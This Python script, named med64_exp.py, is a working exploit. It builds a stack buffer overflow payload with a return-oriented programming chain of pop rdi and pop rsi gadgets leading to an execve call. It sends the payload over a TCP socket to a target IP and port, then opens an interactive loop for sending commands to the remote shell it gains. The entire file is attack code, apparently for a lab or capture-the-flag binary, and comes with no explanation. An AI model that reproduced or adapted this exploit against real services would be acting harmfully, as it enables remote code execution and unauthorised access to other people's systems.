med64_exp.py

import os
import sys
import struct
import socket

word_size = 8
execve_address = 0x7ffff7af4470
argv_zero_address = 0x00007fffffffec31
argv_address = 0x7fffffffe980

pop_rdi_address = 0x004006d3 # pop %rdi; ret
pop_rsi_address = 0x004006d1 # pop %rsi; pop %r15; ret

buffer_size = 0x400

def main(ip, port=""):
    payload = b''
    payload += b'A' * buffer_size # fill the buffer
    payload += b'B' * word_size # overwrite saved rbp
    payload += struct.pack("@Q", pop_rdi_address) # overwrite saved rip
    payload += struct.pack("@Q", argv_zero_address) # what we are poping into rdi
    payload += struct.pack("@Q", pop_rsi_address) # next return address
    payload += struct.pack("@Q", argv_address) # what we are popping into rsi
    payload += struct.pack("@Q", 0x0) #junk to pop into r15
    payload += struct.pack("@Q", execve_address) # next return address

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))

    print(s.recv(2048))

    s.send(payload)

    while (not s._closed):
        s.send(input("# ").encode() + b"\n")
        print(s.recv(2048))
    
    s.close()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: {} <ip> <port>".format(sys.argv[0]))
        exit(-1);

    main(*sys.argv[1:])